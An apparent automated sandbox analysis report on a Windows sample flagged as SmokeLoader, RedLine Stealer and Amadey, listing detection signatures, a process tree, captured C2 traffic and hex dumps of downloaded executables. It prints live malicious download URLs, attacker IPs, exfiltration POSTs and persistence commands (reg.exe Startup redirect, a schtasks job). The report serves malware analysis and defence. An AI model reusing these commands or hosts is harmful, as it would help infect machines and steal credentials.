Play interactive tour

Edit tour

Windows Analysis Report b7cwlpwH6S.exe

Overview

General Information

Sample Name:	b7cwlpwH6S.exe
Analysis ID:	469263
MD5:	11fcf104db2df01616a5200a1fae77dc
SHA1:	ccb3e9501e757938d70a9176159d8c6722c722a9
SHA256:	29b6332d9f6ea83bea4f3f02d4d163b93448a04566cb1f4ff0228d73c6f2e2f7
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

Amadey RedLine SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (window names)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses schtasks.exe or at.exe to add and modify task schedules

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Hides threads from debuggers

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Uses reg.exe to modify the Windows registry

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Sigma detected: Direct Autorun Keys Modification

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

AV process strings found (often used to terminate AV products)

PE file contains an invalid checksum

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Contains capabilities to detect virtual machines

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

b7cwlpwH6S.exe (PID: 5136 cmdline: 'C:\Users\user\Desktop\b7cwlpwH6S.exe' MD5: 11FCF104DB2DF01616A5200A1FAE77DC)

explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

ABA5.exe (PID: 2832 cmdline: C:\Users\user~1\AppData\Local\Temp\ABA5.exe MD5: 137747225D4A9EC60FB784677A70DCD6)

conhost.exe (PID: 2148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

CA5D.exe (PID: 5380 cmdline: C:\Users\user~1\AppData\Local\Temp\CA5D.exe MD5: EBED5B4E23DC7BC73A207B16BF8DECD7)

conhost.exe (PID: 5656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

EFC9.exe (PID: 2416 cmdline: C:\Users\user~1\AppData\Local\Temp\EFC9.exe MD5: A037BA041B0B7008141B56E15D9F6A43)

rnyuf.exe (PID: 2016 cmdline: 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe' MD5: A037BA041B0B7008141B56E15D9F6A43)

cmd.exe (PID: 5176 cmdline: 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 2824 cmdline: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\ MD5: CEE2A7E57DF2A159A065A34913A055C2)

schtasks.exe (PID: 5428 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe' /F MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 4296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

trgavvb (PID: 2764 cmdline: C:\Users\user\AppData\Roaming\trgavvb MD5: 11FCF104DB2DF01616A5200A1FAE77DC)

rnyuf.exe (PID: 4080 cmdline: C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe MD5: A037BA041B0B7008141B56E15D9F6A43)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000000.00000002.294298389.0000000004010000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.294341897.0000000004031000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000002.465939919.0000000005535000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000002.459761733.0000000004110000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000002.459901259.0000000004140000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000011.00000002.355046848.0000000002530000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000003.361152185.000000000257F000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000011.00000002.355346540.00000000025B1000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000014.00000002.461033255.00000000044F0000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: ABA5.exe PID: 2832	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: rnyuf.exe PID: 2016	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
20.2.ABA5.exe.4110ee8.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.3.ABA5.exe.257f440.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.ABA5.exe.4110ee8.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.CA5D.exe.900000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.ABA5.exe.44f0000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.3.ABA5.exe.257f440.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.ABA5.exe.4180f6e.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.ABA5.exe.4180086.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.ABA5.exe.4110000.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.ABA5.exe.4180f6e.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.ABA5.exe.4180086.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.ABA5.exe.4110000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.ABA5.exe.44f0000.6.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 8 entries

Sigma Overview

System Summary:

Sigma detected: Direct Autorun Keys Modification

Show sources

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\, CommandLine: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\, CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5176, ProcessCommandLine: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\, ProcessId: 2824

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://45.138.172.28/blog/images/sefile2.exe	Avira URL Cloud: Label: malware
Source: http://45.138.172.28/blog/images/sefile.exe	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Show sources

Source: b7cwlpwH6S.exe	Virustotal: Detection: 36%			Perma Link
Source: b7cwlpwH6S.exe	ReversingLabs: Detection: 59%

Multi AV Scanner detection for domain / URL

Show sources

Source: http://45.138.172.28/blog/images/sefile2.exe

Virustotal: Detection: 5%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\trgavvb

ReversingLabs: Detection: 59%

Machine Learning detection for sample

Show sources

Source: b7cwlpwH6S.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\trgavvb	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\mrmoms[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\mrmoms\mrmoms.exe	Joe Sandbox ML: detected

Source: b7cwlpwH6S.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.7:49762 version: TLS 1.2

Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: rnyuf.exe
Source:	Binary string: C:\wucuxava\9\viyoba\kixonaliru\yodofibup t.pdb source: ABA5.exe, 00000014.00000000.354255188.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: VC:\sofaxebicesen\jay\cafaf.pdb source: b7cwlpwH6S.exe, 00000000.00000002.293640925.000000000041E000.00000002.00020000.sdmp, trgavvb, 00000011.00000000.335662928.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: C:\sofaxebicesen\jay\cafaf.pdb source: b7cwlpwH6S.exe, 00000000.00000002.293640925.000000000041E000.00000002.00020000.sdmp, trgavvb, 00000011.00000000.335662928.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: @C:\wucuxava\9\viyoba\kixonaliru\yodofibup t.pdb source: ABA5.exe, 00000014.00000000.354255188.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: _.pdb source: ABA5.exe, 00000014.00000002.459761733.0000000004110000.00000004.00000001.sdmp
Source:	Binary string: C:\memub\z.pdb source: rnyuf.exe, 00000021.00000000.463393998.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: C:\memub\z.pdb source: rnyuf.exe, 00000021.00000000.463393998.000000000041E000.00000002.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Code function: 33_2_0041B0C2 FindFirstFileExW,

33_2_0041B0C2

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.7:49759 -> 185.215.113.206:80

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 7575
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 7575
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 7575
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 7575
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 7575 -> 49745

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 193.38.55.57:7575Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 193.38.55.57:7575Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 193.38.55.57:7575Content-Length: 11620Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 193.38.55.57:7575Content-Length: 1390Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.206Content-Length: 86Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 32 66 32 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 33 38 35 37 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b2f25&os=1&bi=1&ar=1&pc=238576&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET /attachments/878382243242983437/878684457245220884/mrmoms.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----3b30e0a4328a60bfa22d5d48e3b38b18Host: 185.215.113.206Content-Length: 110874Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d218579a66992cae412fb54156448c6fHost: 185.215.113.206Content-Length: 106263Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----5bf2fd1d61def3f3b3c00279b3732db3Host: 185.215.113.206Content-Length: 106036Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----17fa0a9285508cb7e6ee7580002e3507Host: 185.215.113.206Content-Length: 106037Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----17fa0a9285508cb7e6ee7580002e3507Host: 185.215.113.206Content-Length: 106037Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----17fa0a9285508cb7e6ee7580002e3507Host: 185.215.113.206Content-Length: 106037Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----17fa0a9285508cb7e6ee7580002e3507Host: 185.215.113.206Content-Length: 106037Cache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Aug 2021 19:45:58 GMTServer: Apache/2.4.37 (centos)Last-Modified: Sat, 21 Aug 2021 19:30:02 GMTETag: "55200-5ca16cf723817"Accept-Ranges: bytesContent-Length: 348672Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 df 57 1e 39 9b 36 70 6a 9b 36 70 6a 9b 36 70 6a 85 64 e5 6a 8a 36 70 6a 85 64 f3 6a f7 36 70 6a 85 64 f4 6a ad 36 70 6a bc f0 0b 6a 9c 36 70 6a 9b 36 71 6a 15 36 70 6a 85 64 fa 6a 9a 36 70 6a 85 64 e4 6a 9a 36 70 6a 85 64 e1 6a 9a 36 70 6a 52 69 63 68 9b 36 70 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ec ff 1e 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ca 01 00 00 2a fb 01 00 00 00 00 60 21 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 fc 01 00 04 00 00 6a 01 06 00 03 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d8 5a 02 00 50 00 00 00 00 20 fb 01 d0 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 e2 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 51 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 c9 01 00 00 10 00 00 00 ca 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9e 86 00 00 00 e0 01 00 00 88 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c a2 f8 01 00 70 02 00 00 28 02 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 d2 00 00 00 20 fb 01 00 d4 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Aug 2021 19:46:31 GMTServer: Apache/2.4.37 (centos)Last-Modified: Fri, 20 Aug 2021 17:40:03 GMTETag: "3917b8-5ca0128542f95"Accept-Ranges: bytesContent-Length: 3741624Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 20 e2 00 b9 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 d0 02 00 00 24 03 00 00 00 00 00 38 c9 51 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 86 00 00 04 00 00 9c 6f 39 00 03 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a 60 06 00 50 00 00 00 00 00 83 00 cf 0f 03 00 00 00 00 00 00 00 00 00 b0 0a 39 00 08 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 e0 02 00 00 20 00 00 00 70 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 2a 10 00 00 00 00 03 00 00 08 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 4c 4f 54 49 32 38 30 dc 0f 03 00 00 20 03 00 00 10 03 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 20 20 20 20 20 20 20 20 0c 00 00 00 00 40 06 00 00 02 00 00 00 8c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 64 61 74 61 00 00 00 20 00 00 00 60 06 00 00 02 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 68 65 6d 69 64 61 00 00 4b 00 00 80 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 48 31 00 00 80 51 00 00 48 31 00 00 90 04 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 42 4c 4f 54 49 32 38 30 d0 08 00 00 00 e0 82 00 00 0a 00 00 00 d8 35 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 cf 0f 03 00 00 00 83 00 00 10 03 00 00 e2 35 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Aug 2021 19:46:43 GMTServer: Apache/2.4.37 (centos)Last-Modified: Sat, 21 Aug 2021 19:30:01 GMTETag: "4f400-5ca16cf704fcd"Accept-Ranges: bytesContent-Length: 324608Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 df 57 1e 39 9b 36 70 6a 9b 36 70 6a 9b 36 70 6a 85 64 e5 6a 8a 36 70 6a 85 64 f3 6a f7 36 70 6a 85 64 f4 6a ad 36 70 6a bc f0 0b 6a 9c 36 70 6a 9b 36 71 6a 15 36 70 6a 85 64 fa 6a 9a 36 70 6a 85 64 e4 6a 9a 36 70 6a 85 64 e1 6a 9a 36 70 6a 52 69 63 68 9b 36 70 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 bc 2a 59 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ca 01 00 00 cc fa 01 00 00 00 00 60 21 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 fb 01 00 04 00 00 30 b5 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 5a 02 00 50 00 00 00 00 c0 fa 01 d0 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 e2 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 51 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 c9 01 00 00 10 00 00 00 ca 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8e 86 00 00 00 e0 01 00 00 88 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 44 f8 01 00 70 02 00 00 ca 01 00 00 56 02 00 